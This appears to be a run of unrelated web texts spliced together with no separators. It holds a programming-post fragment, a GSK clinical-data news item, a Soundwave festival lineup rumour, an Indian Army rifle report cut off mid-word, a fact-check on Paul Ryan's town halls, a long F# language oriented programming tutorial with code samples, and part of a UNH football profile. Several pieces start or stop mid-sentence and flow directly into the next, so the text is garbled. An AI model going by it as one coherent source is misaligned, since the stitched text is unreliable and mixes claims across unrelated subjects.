Don’t do this in actual code, please (why?). This post started off as an April Fools joke that accidentally compiled correctly for reasons which I cannot explain.
While I don’t recommend that you do this in actual code, but definitely do recommend that you do it for fun! The code in this post is available here if you want to play around!To dispel the secrecy that shrouds drug-industry trials, GlaxoSmithKline announced last week that it will make the trove of detailed raw data underlying its clinical trials available to researchers. Declan Butler reports for Nature News.
This is a huge step forward because data from clinical trials are rarely shared fully with other scientists -- meaning doctors make important decisions about patients and care based on incomplete information.
Greater openness about clinical-trial data should help to speed up drug development, provide independent assessments of drug safety and efficacy and increase trust in industry science. It could also put an end to the scandals that, over the past few years, have seen almost every major drug company fined hundreds of millions of dollars for putting profits before patient safety and welfare, often through selective data reporting.
(In July, GSK reached a $3-billion settlement with U.S. authorities for fraud, including publishing “false and misleading” accounts of trials, and for hiding data on safety concerns.) Transparency is the only way forward for the industry.
GSK now intends to make available anonymized patient-level data for all trials it has carried out since 2007 for both approved and abandoned drugs (only post-2007 data is in formats suitable for sharing, the company says).
This is the first of such commitments for big players in the industry. Starting next year, the European Medicines Agency (EMA) intends to open up access to all new clinical-trial data sets received from industry for product registration.
[Via Nature News]
Image: GSK
This post was originally published on Smartplanet.comMusic journalist Nui Te Koha has let slip that RATM and Alice Cooper will be headlining the mysterious Soundwave Revolution in September, after chatting to media mogul Eddie McGuire on commercial radio yesterday. According to Triple M, they are ““the hot tip to be doing shows across Australia in 2011”.
Te Koha further continued to spill the beans, saying “There’s a huge rumour doing the circuit that Rage Against The Machine will be here in September for Soundwave Revolution. Alice Cooper together [with Rage Against The Machine] will be headliners for Soundwave Revolution.” Cooper himself has given credence to the rumours by telling another media outlet that he would be playing a festival in Australia.
These headliners could be set to join the line up when it is announced this coming Thursday 28th April. The list of confirmed bands includes:
Sum 41
Kvelertak
Yellowcard
Holy Grail
Unearth
Times of Grace
Funeral For a Friend
D.R.U.G.S.
Steel Panther
Thursday
Devin Townsend
Black Veil Brides
Zebrahead
The Dangerous Summer
Set Your Goals
Hellogoodbye
We Are The In Crowd
The Word Alive
In This Moment
HELLYEAH
Skindred
The Damned Things
Every Time I Die
The Acacia Strain
Whitechapel
Madina Lake
Make Do and Mend
Story of The Year
We Are The Ocean
Young Guns
Four Year Strong
This Providence
The Swellers
Terrible Things
The dates for the event, for which we are assured there will be no sideshows are:
Brisbane Revolution – Saturday 24th September
Sydney Revolution – Sunday 25th September
Melbourne Revolution – Friday 30th September
Adeladie Revolution – Saturday 1st October
Perth Revolution – Monday 3rd OctoberThe Indian Army has decided to go for an indigenous assault rifle to replace the problematic INSAS rifles. The decision that could save thousands of crores in foreign exchange and boost local manufacture was taken recently by Army Chief General Dalbir Singh. The Army then cancelled a problematic Rs 4,848 crore order for importing Multi Caliber Assault Rifles on June 15-first reported by Mail Today on July 1.
"We are going in for a designed and Made in India rifle in keeping with the government's indigenisation thrusts," senior Army sources told Mail Today.
The performance of the DRDO-designed 'Excalibur' assault rifle in trials last month at the Armament Research and Development Establishment (ARDE) in Pune has further enthused the Army. The Excalibur had only two stoppages (where the bullet gets stuck in the breech) after 2,400 rounds were fired, close to the Army's specifications of only one stoppage.
New features
The Excalibur is an improved version of the INSAS rifle and fires 5.56x45 mm ammunition. It has full-automatic capability over the INSAS which can only fire a three-round burst. The Excalibur barrel length is reduced by 60mm, has a side folding butt stock and features a Picatinny rail, a universal mount that allows a range of weapon sights and sensors to be fitted on the rifle.
DRDO officials say it will take the OFB's Rifle Factory Ishapore at least eight months to incorporate design changes suggested by the ARDE and field the first prototypes of what they are calling the 'Modified INSAS Rifle' (M
|
, cited a reference.com Q&A that defines a town hall as an informal, in-person meeting between citizens and public figures.
"Many modern town halls are held in locations that are accessible to the public and can accommodate large crowds," the site reads.
Historically, town halls are in-person, informal events where people can ask public officials unscripted questions. The Merriam-Webster and Oxford dictionaries’ definitions and usage examples both have a physical connotation.
In recent years, Ryan has opted for office hours, telephone town halls and employee town halls -- those done at workplaces.
Indeed, the information cited by Bryce from reference.com relies in part on the nonpartisan Congress Management Foundation, which has been looking into the effects of in-person, online and telephone town halls. The foundation conducts research into the evolving methods to host town halls and their comparative effectiveness.
Ryan spokesman Ian Martorana said the speaker considers telephone and employee town halls to be forms of public town hall meetings and said telephone town halls make up a significant portion of Ryan’s interactions with constituents.
Martorana said they conduct telephone town halls by calling "every household with a registered voter in the pertinent counties whose contact information we have and who reside in Wisconsin's First District."
He added: "The calls are not screened, and they are answered in the order they are received."
Employee town halls are another matter.
These are typically hosted by private businesses where the audience is usually pre-selected, and so are their questions. The public is largely barred from these events, and reporters are usually unable to ask questions.
Ryan recently held two employee town halls while Congress was on break for the Fourth of July holiday, visiting businesses in Oak Creek and Racine. Audience members offered Ryan a series of friendly questions.
"If you had to make a decision between attending an October regular season Packers game or a Brewers World Series game, which one?" one person asked, according to a CBS news article.
The day after he visited those businesses, Ryan took questions from reporters at the state Capitol where he said he was looking for "creative ways" to interact with constituents, instead of traditional town hall meetings.
Ryan also said he was thinking of safety, trying to avoid a "screaming fest" from protesters bused into his district and that having reporters at events limits the conversation.
"I find when you guys are there, people tend to clam up," Ryan told reporters on July 7, 2017.
Ryan did hold a number of campaign events the day before his 2016 primary election that he billed as town halls -- though they did not match the framework of his last in-person listening session. Reports and a video from the event indicate that it was much more in keeping with the employee town halls meetings.
And as campaign events, they had a different purpose than a traditional town hall.
Past criticism
Ryan has been criticized in the past for not being accessible to his constituents.
In February 2017, the left-leaning group Forward Kenosha organized a mock town hall at a union hall where constituents posed questions to an empty chair. In May, U.S. Rep. Mark Pocan (D-Madison) held a town hall in Ryan’s district.
Martorana said Ryan’s office has issued 60,000 responses this year to constituents who have contacted the office by phone, email, fax or letter. He added that recent telephone town halls reached more than 13,000 constituents in Walworth, Rock, Kenosha and Racine counties.
In contrast, U.S. Rep. Jim Sensenbrenner ( R-Wis.), the dean of the state’s congressional delegation, has not shied away from open town halls, sometimes facing raucous crowds. Sensenbrenner has held more than 80 public town halls so far in 2017, according to the calendar on his website.
Our rating
Bryce said "Paul Ryan has not had a public town hall within the district for over 600 days."
Bryce’s claim is broad and doesn’t account for the emerging ways people can communicate with public officials, but he’s mostly on target in saying Ryan hasn’t held a traditional town hall in almost two years.
We rate his claim Mostly True.Last Tuesday I gave a talk to the.NET Developers Association entitled Language Oriented Programming in F#. You can find a video of the presentation here*. This essay is the written version of that presentation, which unfortunately doesn’t translate to the web so well. In fact, I’m going to go ahead and apologize now for this crazy-long post.
What is Language Oriented Programming
Let me start by saying that Language Oriented Programing (LOP) is a nebulous term, like meta-programming. Rather than trying to pin it down concretely, I’ll define it in broad terms and then provide many examples.
To understand what LOP is first you must understand the concept of a Domain Specific Language or DSL. A DSL is a programming language designed to solve problems within a narrowly-defined problem domain. (Opposed to a General Purpose programming language, like C# or F#, which can solve problems in any domain.) An example of a DSL would be Excel. To write a formula that adds the contents of two cells you write “= A1 + B1”, no need for defining data types, functions, conversion routines, etc. The Excel language has the concept of a spreadsheet cell baked into the language, so you don’t need to describe what ‘A1’ means in terms of anything else. In C# on the other hand, you can’t write ‘A1’ you need to write something like “MasterSheet.GetCell(new CellObject(Row = “A”, Column = 1));”.
The main advantage of a DSL is that the code is always much simpler than its general purpose programming language counterpart. With a DSL you don’t need to write the ‘scaffolding’ you normally would in order to express your ideas, since all the key concepts of the problem domain are baked into the language.
DSLs have two major drawbacks however. First, DSLs force you to learn a new language. Second, somebody needs to define that language and build the compiler for it. For simple problem domains these drawbacks aren’t much of a problem. But if you wanted your DSL do describe the business rules for your entire company however, then you can see how DSLs fail to scale. If you are interested in building DSLs however Toolkits do exist.
So what is LOP then? To provide a great example, let me introduce a project called FsUnit over on Google code. It is a simple library for writing Unit Tests in F#, but rather than the standard ‘Assert.IsTrue(x)’ you can write:
// Equality 1 |> should (equal 1) // Checking existence in a collection [| "item1" |] |> should (contain "item1" ) [| "item1" |] |> should (notContain "item2" ) // Size of a collection personList |> should (have 4 "people" )Some text matches a regular expression: // RegEx patterns "test infected" |> should (matchThePattern "inf" ) // Other primitives true |> should (be True) false |> should (notBe True) "" |> should (be Empty) "a string" |> should (notBe Empty) null |> should (be Null) anObj |> should (notBe Null)
FsUnit allows you to write F# code, but using words and concepts in a different language. (In this case, English.) Armed with this example I will define what LOP is: Language Oriented Programming is a style of programming that tries to produce code that looks like it came from a Domain Specific Language but is still valid in a general purpose programming language.
The rest of this essay will provide examples of LOP in F# and how using LOP results in simpler code that better expresses the problem at hand. I’ll my examples along three major themes:
Abstract Representation. Features in F# that allow you to represent domain-specific concepts in your F# code without needing to introduce a new layer of abstraction.
Concrete Representation. Features in F# that allow you to describe your problem in another language and load that into F#.
Computational Representation. Finally I’ll go into features in F# that enable you to write code to process concepts in some other language without resorting to a third, more specialized language.
Part I – Abstract Representation
One problem facing programmers using modern Object Oriented languages is how to represent concepts in their language. C# only has facilities to express concepts in terms of objects and their behaviors, which makes it difficult to accurately express abstract ideas. Having a class for ‘Cat’ with methods Meow() and Purr() makes sense. But how would you write the concept of ‘Happiness’ in C#? Would there be methods ‘CheerSomethingUp(object thing)’?
By Abstract Representation I’m talking about the ability to represent concepts in your F# code as naturally as possible.
Type Abbreviations
The first feature I'll go into is Type Abbreviations. In F# you have the ability to create an alias for another type, which at compile time will be replaced with the underlying core type. Meaning that type abbreviations only exist at design-time. Using Type Abbreviations you can write code in terms of problem-domain concepts without needing to introduce custom types. For example I'll create a type alias for 'int' called CustomerID. Now if I write a function that takes type CustomerID I know exactly what it expects, rather than a function taking type 'int’ and me needing to guess at what that integer represents.
type CustomerID = int
let alice = 98123
let bob = 78435 : CustomerID
// With the type annotation the value 'customer' appears as to
// have type 'CustomerID' but at compile time that is replaced
// with 'int'. You can pass both alice and bob to function
// getCustomerOrders.
let getCustomerOrders (customer : CustomerID) =
printfn "%d has ordered 5 items."customer
Type abbreviations are especially helpful when you are dealing with more complex generic types. Consider Dictionary<string, string>. It has some use, but from just the type signature you have no idea what the key, value pairs correspond to. But with type abbreviations you can call it something more meaningful.
open System.Collections.Generic type TeamCityLookup = Dictionary<string, string> // A TeamCityLoop is a better description for the type than Dictionary<string, string> let teamLookup = new TeamCityLookup() teamLookup.Add( "Mariners", "Seattle" ) teamLookup.Add( "Reds", "Cincinati" ) teamLookup.Add( "Dodgers", "Los Angeles" ) teamLookup.[ "Mariners" ]
Discriminated Unions
Consider the following C# code used to express the concept of a card suit.
enum CardSuit { Club, Spade, Diamond, Heart }
While the code looks simple and clear, it actually introduces many problems because enumerations alone aren't sufficient for expressing the idea of a mutually-exclusive set of values. It is easy to write C# code that violates the principle that a card can only have one possible suit.
CardSuit invalid1 = CardSuit.Club | CardSuit.Heart; CardSuit invalid2 = ( CardSuit ) (-1);
In order to write the concept of a card suit in C# you need to write some slightly more complex code. You can see how in chapter 21 of Effective Java. In F# though, you can express this concept without any fuss.
type Suit = | Diamonds | Hearts | Spades | Clubs // An instance of 'Suit' can only have one of four possible values let printSuitName suit = match suit with | Diamonds -> printfn "Suit is a Diamond" | Hearts -> printfn "Suit is a Heart" | Spades -> printfn "Suit is a Spade" | Clubs -> printfn "Suit is a Club"
Moreover, in F# Discriminated Unions can also attach data making them much more powerful than enumerations without sacrificing any of their ease of definition.
// Discriminated Unions can hold data too! type Card = | ValueCard of int * Suit // Value 2 - 10 and Suit | Jack of Suit | Queen of Suit | King of Suit | Ace of Suit | Joker // Simple syntax for defining instances of Disc Unions let myPokerHand = [ ValueCard(2, Hearts) ValueCard(5, Spades) Joker ValueCard(4, Clubs) Ace(Clubs) ]
Option Type
Sorry to rag on C# some more, but here’s another instance where.NET adds confusion where there shouldn’t be. Consider the following code where I get an instance of your pet and print its name if you have one.
Pet yourPet = you.GetPet();
if (yourPet!= null ) Console.WriteLine( "You have pet named " + yourPet.Name);
The code looks simple enough. But where in the real world does null exist? Is that in the problem domain? If I asked you if you had a pet wombat would you say ‘null’? No, null is an artifact of the programming language used to represent the absence of something or an uninitialized value. But in LOP we are trying to represent ideas without any overhead. F# has the option type that will represent the concept of nothing in a more natural way.
type Pet = | GoldFish | Dog | Cat // Takes a 'Person' type and returns an option, of their pet type let getPetType person = match person with | Me -> Some(Dog) | SomebodyElse -> Some(GoldFish) | You -> None
If you have a pet Some(…) is returned, meaning there is something. If you don’t have a pet you return None. Another big advantage to the option type is that it communicates intent. If you call the ‘GetPet’ method in C#, it is unclear what the result will be if you don’t have a pet. Will the method throw an exception or simply return null? In F# using the option type means that it will return None should you not have a pet.
Pattern Matching
Pattern matching is another way we can express what we mean clearly in code. In C# you can use a switch statement, but that only works on constant values. In F# however, Pattern Matching can do much more than compare a value against a constant. It can, for example, compare against the structure of the data. Here we match against the length of a list:
// Structure of data let shortList = ['a'; 'b'; 'c'] let printListLength list = match list with | [] -> printfn "List is empty" | [_] -> printfn "List has 1 element" | [_;_] -> printfn "List has 2 elements" | [_;_;_] -> printfn "List has 3 elements" | _ -> printfn "List too long"
In addition, Pattern Matching can also capture variables as part of the match.
// Match contants and capture variables let sayHello (first, last) = match (first, last) with // Match constants | "Bill", "Gates" | "Steve", "Balmer" -> printfn "Steve and Bill, wazzzup!" // Match first against constant, capture second | "Chris", last -> printfn "Hello Chris. Your last name is %s" last // Capture both values | first, last -> printfn "Hello %s %s" first last
Demo
Now that we have the building blocks to represent ideas in F#, we have all the power we need to represent a real world problem in the language of mathematics.
// This Discriminated Union is sufficient to express any four-function // mathematical expression. type Expr = | Num of int | Add of Expr * Expr | Subtract of Expr * Expr | Multiply of Expr * Expr | Divide of Expr * Expr // This simple pattern match is all we need to evaluate those // expressions. let rec evaluate expr = match expr with | Num(x) -> x | Add(lhs, rhs) -> (evaluate lhs) + (evaluate rhs) | Subtract(lhs, rhs) -> (evaluate lhs) - (evaluate rhs) | Multiply(lhs, rhs) -> (evaluate lhs) * (evaluate rhs) | Divide(lhs, rhs) -> (evaluate lhs) / (evaluate rhs) // 10 * 10 - 25 / 5 let sampleExpr = Subtract( Multiply( Num(10), Num(10)), Divide( Num(25), Num(5))) let result = evaluate sampleExpr
In this simple example we were able to represent and evaluate a four-function mathematical expression using only a discriminated union and a pattern match. You would be hard pressed to write the equivalent C# in as few lines of code because you would need to add additional scaffolding to represent these concepts.
Part II – Concrete Representation
Concrete Representation means expressing your problem conceretely in another language and loading that into your F# program. By allowing you to work in both your Domain Specific Language and F#, you can express your problem in specific terms and then do any processing required in F#.
fslex and fsyacc
The simplest way to deal with a concrete representation of another language is to build a parser and ‘load it’ just like a compiler. Lex and Yacc have been standard tools for generating parsers for thirty years. FsLex and FsYacc are implementations of Lex and Yacc that generate F# parsers. I won’t go into too much deal here, but if you are interested in learning more refer to my previous blog post.
Lex and Yacc are DSLs for describing compiler parsers and lexers, or tools which break down ‘source’ into a series of tokens and then convert that token stream into an Abstract Syntax Tree. For example, here is the Lex code for converting a string like “10 * 8 + 5.0” into tokens [INT32(10); ASTER; INT32(8); PLUS; FLOAT(5.0)]
rule tokenize = parse | whitespace { tokenize lexbuf } | newline { tokenize lexbuf } // Operators | "+" { PLUS } | "-" { MINUS } | "*" { ASTER } | "/" { SLASH } // Numberic constants | ['-']?digit+ { INT32 (Int32.Parse(lexeme lexbuf)) } | ['-']?digit+('.'digit+)?(['e''E']digit+)? { FLOAT (Double.Parse(lexeme lexbuf)) } | eof { EOF }
The corresponding Yacc parser file would look something like this, which would match tokens against grammar productions and create AST nodes.
Prog: | Expr EOF { $1 } Expr: | Expr PLUS Term { Plus($1, $3) } | Expr MINUS Term { Minus($1, $3) } | Term { Term($1) } Term: | Term ASTER Factor { Times($1, $3) } | Term SLASH Factor { Divide($1, $3) } | Factor { Factor($1) } Factor: | FLOAT { Float($1) } | INT32 { Integer($1) }
If none of this Lex and Yacc jazz made sense to you don’t worry. The point is that if you wanted to, there are tools available that will allow you to write F# programs that can parse any other language you want. So if you wanted to write a parser for all mathematical equations (“1^5 + cos(PI)”) you could. If you wanted to parse structured log files, you could. If you wanted to write a parser for F# code so you could manipulate it in an F# program, you could. With fslex and fsyacc you can write a parser for any domain specific language you want, and load its abstract representation into your F# program.
Active Patterns
The next feature I’ll talk about which allows you to convert a concrete representation of a language into F# is Active Patterns. (WhichI’ve blogged about this before.) The easiest way to think about Active Patterns is that they are a way to convert data from one representation to another, typically via a pattern matching.
Active Patterns come in three main flavors: single-case, multi-case, and partial.
Single-case Active Patterns
Single-case Active Patterns take an input of one type of data and convert it into something else. In the following example we convert strings to integers. Notice the result of the Active Pattern is at the end of the'match clause’.
// SingleCase Active Patterns // Covnert a string to an int let (|IntValue|) input = Int32.Parse(input) // Given a string print its integer representation. let printValue (str : string) = match str with | IntValue 0 -> printfn "str is zero" | IntValue 1 -> printfn "str is one" | IntValue 2 -> printfn "str is two" // Variable capture of AP output | IntValue x -> printfn "str is %d" x
Multi-case active Patterns
Multi-case Active Patterns convert the input into one of several types of output, dividing the input space into several regions. For example, we can convert an integer into one of three categories: Odd, Even, or Zero.
// Multi-Case Active Patterns let (|Even|Odd|Zero|) x = if x = 0 then Zero elif x % 2 = 0 then Even else Odd // Takes an int and prints its status let printStatus x = match x with | Zero -> printfn "%d is zero" x | Even -> printfn "%d is even" x | Odd -> printfn "%d is odd " x
Partial Active Patterns
Partial Active Patterns are just like Single-case Active Patterns, but they don’t always succeede. In our previous example we converted strings to integers, but a string cannot always be converted into an integer. For example “foo”. Partial Active Patterns use Option types to represent whether or not the data was convertered. Here we will convert strings into either Integers or Floating point numbers.
// Partial Active Pattern let (|ToInt|_|) str = let (parsed, result) = Int32.TryParse(str) if parsed then Some(result) else None let (|ToFloat|_|) str = let (parsed, result) = Single.TryParse(str) if parsed then Some(result) else None // Takes a string and prints whether it is an int or float let parseValue str = match str with | ToInt x -> printfn "str is an int with value %d" x | ToFloat x -> printfn "str is a float with value %f" x | _ -> printfn "str is neither an int nor a float"
Demo
Here is an example of how you can leverage Active Patterns to convert a concrete representation of a language into F#. The example is from a demo from a research paper by Don Syme, Margetson and Gregory Neverov which introduced the concept of Active Patterns. Since code is really complicated, but I’ll just point out the black magic. Given this XML doc we can extract all meaningful information from it, that is attributes and nested elements, in just one line of code.
// Concrete language let xmlDoc = let temp = new System.Xml.XmlDocument() let superHerosXmlDoc = "<?xml version=\"1.0\" encoding=\"utf-8\"?> <Scene> <Sphere r='3' x='4' y='3' z='0' /> <Intersect> <Sphere r='2' x='1' y='0' z='0'/> <Intersect> <Sphere r='2' x='4' y='0' z='0'/> <Cube d='1' x='6' y='7' z='8' /> <Sphere r='2' x='-3' y='0' z='0'/> </Intersect> <Cube d='2' x='-2' y='1' z='0'/> </Intersect> </Scene> " temp.LoadXml(superHerosXmlDoc) temp // Abstract representation type GeometricScene = | Cube of float * float * float * float | Sphere of float * float * float * float | Intersect of GeometricScene list // Mach an XML element let (|Elem|_|) name (inp: #XmlNode) = if inp.Name = name then Some(inp) else None // Get the attributes of an element let (|Attributes|) (inp: #XmlNode) = inp.Attributes // Match a specific attribute let (|Attr|) attrName (inp: XmlAttributeCollection) = match inp.GetNamedItem(attrName) with | null -> failwith (attrName + " not found" ) | attr -> attr.Value // Convert a string to a float let (|Float|) s = Float.of_string s // Parses a vector out of an attribute collection let (|Vector|) inp = match inp with | (Attr "x" (Float x) & Attr "y" (Float y) & Attr "z" (Float z)) -> (x,y,z) // Parses a GeometricScene from an XML node let rec (|ShapeElem|_|) inp = match inp with // By using nested Active Patterns we can parse all attributes on one line! // (Attributes (Attr "r" (Float r))) gets the Attributes of the node, then gets // the attribute "r", then finally converts its string value into a float. | Elem "Sphere" (Attributes (Attr "r" (Float r) & Vector (x,y,z))) -> Some (Sphere (r,x,y,z)) | Elem "Intersect" (ShapeElems(objs)) -> Some (Intersect objs) // This is what the cde would look like without nested Active Patterns | Elem "Cube" xmlElement -> match xmlElement with | Attributes xmlElementsAttributes -> match xmlElementsAttributes with | Attr "d" dAttrib & Vector (x, y, z) -> match dAttrib with | Float d -> Some(Cube(d, x, y, z)) // Did not recognize XmlNode as Shape element | _ -> None
While the use of Active Patterns aren’t the easiest thing to read, they certainly allow you to easily convert data.
Part III – Computation Representation
This is the last part of Language Oriented Programming and definitely the most complicated. The theme of this essay has been that two languages are better than one; that using a domain-specific description the your problem makes the coding easier. The only thing better than two languages to represent your problem is not having to use three.
Consider the common Forms-Over-Data application. You have a database, CustomerInfo, and you have your application written in C#. With any luck you’re using LOP in your programming and so you can represent your customer entities naturally, but you run into a problem as soon as you try to interface with your database. Namely, having your app talk to the database requires you using another language – SQL.
With Visual Studio 2008 this problem was solved for a few specific scenarios with Linq, but in F# you can solve this problem even more generally.
This final aspect of LOP I’ll talk about is where you write F# code and manipulate the computation which that code represents. In other words, you write some F# code that does something interesting and then manipulate the computation representation of that code to either execute that code in a unique way or convert that code into a different language.
The F# language features Quotations and Workflows will undoubtedly be the subject of numerous articles, blog posts, and maybe even books in the future. So if I do a terrible job explaining what these features do, don’t fret.
Quotations
Writing.NET code is great and all, but the implicit restriction is that your code is executing on computer running the.NET framework. That doesn’t sound like a big requirement, but think for a moment on how limiting that is. If you wanted to write code that executed on your GPU you would have to resort to some other language. Or let’s say you were multiplying two sparce matricies and wanted to optimize out all the zero-multiplications, leading to a more efficent code. You can’t. Because all the code you write in.NET must execute on the.NET platform… or at least it had to before F# came along.
In F# the Quotations feature allows you to get access to the compiler’s representation of a block of code, enabling you to process that code as you wish. For example, you could write a Quotation-to-GPU converter and write programs in F# which could execute on your graphics card. Or, given a function that operates on a sequence of data, convert those operation into SQL code and automatically query the server. (A la DLinq.)
I won’t go into details about how the code all works, but I’ll point out the key concepts. First, the funky “<@@ … @@>” code starts a quotation. Anything inbetween the <@@ and @@> is what is ‘quoted’. So the result of <@@ x @@> is the compiler’s representation of x. Second, once you have some quoted data you will can use Active Patterns to convert the compiler’s representation into something more useful. In the simplest example, we will take the quotation of a constant value and use an Active Pattern to convert the compiler’s representation of that into the value itself.
#light open Microsoft.FSharp.Quotations open Microsoft.FSharp.Quotations.Typed open Microsoft.FSharp.Quotations.Raw // The compiler represents the code “1” as an Int32 literal. let quot1 = <@@ 1 @@> let printQuotation x = match x with | Int32 v -> printfn "The quoted code is an int with value %d" v | String v -> printfn "The quoted code is a string with value %s" v | _ -> printfn "I don't know what x is..."
You can then move onto bigger, more complicated expressions by matching more types of expressions using Active Patterns. Here we break down an entire function. (The [<ReflectedDefinition>] attribute is required for the function to be used inside of a quotation.)
// Functions [<ReflectedDefinition>] let checkTemp temp = if temp < 60 then printfn "Too cold" elif temp > 80 then printfn "Too hot" else printfn "Just right" let rec printQuotation2 expr = match expr with | ResolvedTopDefnUse(_,body) -> printfn "The expr is a Top Definition Use..." printQuotation2 body | Lambda(_, body) -> printfn "The expr is a Lambda..." printQuotation2 body | Cond(_, body, nextCond) -> printfn "The expr is a Conditional..." printQuotation2 nextCond | App(info, body) -> printfn "The expr is a function application..." | _ -> printfn "I don't know what the expr is" printQuotation2 <@@ checkTemp @@>
Here is an example from Expert F# (Apress, 2007) which uses Quotations to compute the error range for floating point calculations. Given an inexact number such as p = 3.141 +/- 0.001, repeated operations on p will result in a compounded error. Such as p + p = 6.282 +/- 0.002. Given the quotation of a function, the code will walk the compiler’s interpretation of the code and calculate an error estimate.
// Example from Expert F# by Don Syme, Adam Granicz, and Antonio Cisternino // Pg. 251 open Microsoft.FSharp.Quotations open Microsoft.FSharp.Quotations.Typed open Microsoft.FSharp.Quotations.Raw type Error = Err of float // Estimate the error for a given expression, t. // env is a map of identifiers to their values. E.g., "pi" -> 3.14159 let rec errorEstimateAux t (env : Map<_,_>) = match t with // If the quoted expression matches the function application of // +, -, *, or / calculate the left and right hand sides and // compute the resulting error. | GenericTopDefnApp <@@ (+) @@> (tyargs,[xt;yt]) -> let x, Err(xerr) = errorEstimateAux xt env let y, Err(yerr) = errorEstimateAux yt env (x + y, Err(xerr + yerr)) | GenericTopDefnApp <@@ (-) @@> (tyargs,[xt;yt]) -> let x, Err(xerr) = errorEstimateAux xt env let y, Err(yerr) = errorEstimateAux yt env (x - y, Err(xerr + yerr)) | GenericTopDefnApp <@@ ( * ) @@> (tyargs,[xt;yt]) -> let x, Err(xerr) = errorEstimateAux xt env let y, Err(yerr) = errorEstimateAux yt env (x * y, Err(xerr * abs(x) + yerr * abs(y) + xerr * yerr)) | GenericTopDefnApp <@@ ( / ) @@> (tyargs,[xt;yt]) -> let x, Err(xerr) = errorEstimateAux xt env let y, Err(yerr) = errorEstimateAux yt env (x / y, Err(xerr * abs(x) + abs(1.0 / y) / yerr + xerr / yerr)) | GenericTopDefnApp <@@ abs @@> (tyargs,[xt]) -> let x,Err(xerr) = errorEstimateAux xt env (abs(x), Err(xerr)) // If the quoted expression introduced a new value. E.g., // let e = 2.71828 | Let((var,vet), bodyt) -> let varv, verr = errorEstimateAux vet env errorEstimateAux bodyt (env.Add(var.Name, (varv, verr))) | App(ResolvedTopDefnUse(info,Lambda(v,body)),arg) -> errorEstimateAux (MkLet((v,arg),body)) env | Var(x) -> env.[x] | Double(n) -> (n,Err(0.0)) | _ -> failwithf "unrecognized term: %A" t let rec errorEstimateRaw (t : Expr) = match t with | Lambda(x,t) -> ( fun xv -> errorEstimateAux t (Map.of_seq [(x.Name,xv)])) | ResolvedTopDefnUse(info,body) -> errorEstimateRaw body | _ -> failwithf "unrecognized term: %A - expected a lambda" t let rec errorEstimate (t : Expr<float -> float>) = errorEstimateRaw t.Raw // ---------------------------- [<ReflectedDefinition>] let poly x = x+2.0*x+3.0/(x*x) errorEstimate <@ poly @> (3.0, Err(0.1)) // Evaluates to: (9.333333333, Err 0.5821493625) errorEstimate <@ poly @> (30271.3, Err(0.0001)) // Evaluates to: (90813.9, Err 3.02723)
Work flows
Workflows are the most exciting language feature in F#, and represent perhaps the most powerful way to apply LOP in your code. But rather than telling you what they are I’ll build up to it.
Consider this code, which is called a Sequence Expression. It produces a seq of the first 10 integers. The second example is a more complex sequence expression, which uses recursion to walk every file under a given directory. Note the use of recursion requires the ‘yield!’ keyword.
// Sequence Expressions // Numbers one through ten let numbers = seq { for i in 1.. 10 do yield i } // All files under a given directory (notice the use of recursion) open System.IO let rec allFiles dir = seq { for file in Directory.GetFiles(dir) do yield file for subdir in Directory.GetDirectories dir do yield! (allFiles subdir) } allFiles @"C:\Windows\System32\"
Just to show that you can do powerful things with Sequence Expressions, here is some code to compute all prime numbers under 1,000. (The Sieve of Eratosthenes in F#.)
// Complex Sequence Expression let primesUnder1K = seq { // First prime yield 2 let knownComposites = ref (Set.empty) // Loop through all odd numbers; evens can't be prime for i in 3.. 2.. int 1000 do // Check if its in our list, if not, its prime let found = (!knownComposites).Contains(i) if not found then yield i // Add all multiples of i to our sieve, starting // at i and irecementing by i. do for j in i.. i.. int 1000 do knownComposites := (!knownComposites).Add(j) } Seq.take 20 primesUnder1K
So to review, Sequence Expression produce seq objects and are use a seemingly limited subset of the F# language. Simple enough.
Sequence Expressions however are just a specialization of a concept known as Computation Expression or Workflow. The Computation Expression was everything between the curly braces { and }. The ‘seq’ in front was the workflow builder which I’ll come back to in a moment.
So why are Computation Expressions important? Because in F# you can you define how the Computation Expression gets executed by using a builder object. In the previous examples the ‘seq’ builder takes the Computation Expression and produces a sequence of values. But you can implement far more interesting builders. You could for example write a builder that logged every action that was taken, in order to better diagnose a failure in the code. Or even transfer the computation to a different machine and execute the code in the cloud. Computation Expressions / Workflows are a powerful new concept that open up a lot of possibilities for powerful language oriented concepts.
The most practical application of workflows is in asynchronous programming. Normally if you want concurrent code you need to write it with a bunch of callbacks, manage thread states, deal with synclocks, and other unpleasantries. But using F# Asynchronous Workflows, all you need to do is write your code in a Computation Express and pass that computational representation of your code to the Async Workflow object. It will then execute that code doing all the async goo for you. That’s right, in F# you can write async code without even trying.
Here’s an example of an async workflow in F# from Expert F#. (Which for the record is a much better resource for teaching F# than my blog 🙂
// Example from Expert F# by Don Syme, Adam Granicz, and Antonio Cisternino // Pg. 366 open System.Net open System.IO open Microsoft.FSharp.Control.CommonExtensions let museums = [ "MOMA", "http://moma.org/" ; "British Museum", "http://www.thebritishmuseum.ac.uk/" ; "Prado", "http://museoprado.mcu.es" ; "SAM", "http://www.seattleartmuseum.org/" ] // Fetch the museum website and print info to the console asynchronously let fetchAsync (name, url:string) = async { do printfn "Creating request for %s..." name let req = WebRequest.Create(url) let! resp = req.GetResponseAsync() do printfn "Getting response stream for %s..." name let
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. Even after spending a post-graduate year at Worcester (Mass.) Academy, where the three-sport star was named the school’s athlete of the year, Ball remained unwanted by a major college program. With few other options, Ball decided to enroll at UNH, and managed to walk on to the football team in the summer of 2003. "I love UNH. I bleed blue," Ball says. "But I fell into their lap." On the first day of preseason practice, the freshman receiver retrieved a stray football by hopping a four-and-a-half-foot fence from a standing position (Ball still holds Vermont’s schoolboy high jump record). Kelly saw that and became instantly enamored with his new prospect. Ball managed to put together a decent rookie season, catching 38 passes and scoring four touchdowns for the 5-7 Wildcats, but he felt overmatched. "I came out of high school football not really knowing the difference between man and zone defense," he says. "So going into Chip Kelly’s offense, I was deer in the headlights, jaw dropped, cotton-mouthed every time I had to go out and try to pick up on all those damn signals." If Ball’s arrival was fortuitous, then what happened next, to put it bluntly, was an act of fate. Ricky Santos is well aware of that fact. In the summer of 2004, he started practice as UNH’s fourth-string quarterback. But by the time September rolled around, the third-stringer had quit and the second-stringer had gotten hurt. Just like that, Santos was the backup. Early in the season opener — against defending national champion Delaware, no less — the starter, senior Mike Granieri, tore up his knee. Santos, a scared redshirt freshman from Bellingham, Mass., entered the game and promptly led his team to a 24-21 victory. He even hit Ball for the winning touchdown. It was the beginning of a beautiful partnership. That season, Santos threw for 3,318 yards and 31 touchdowns. More importantly, UNH finished 10-3 and made the playoffs for the first time in a decade. Yet Kelly, Santos now says, was tough on him. In his early days as a starter, he 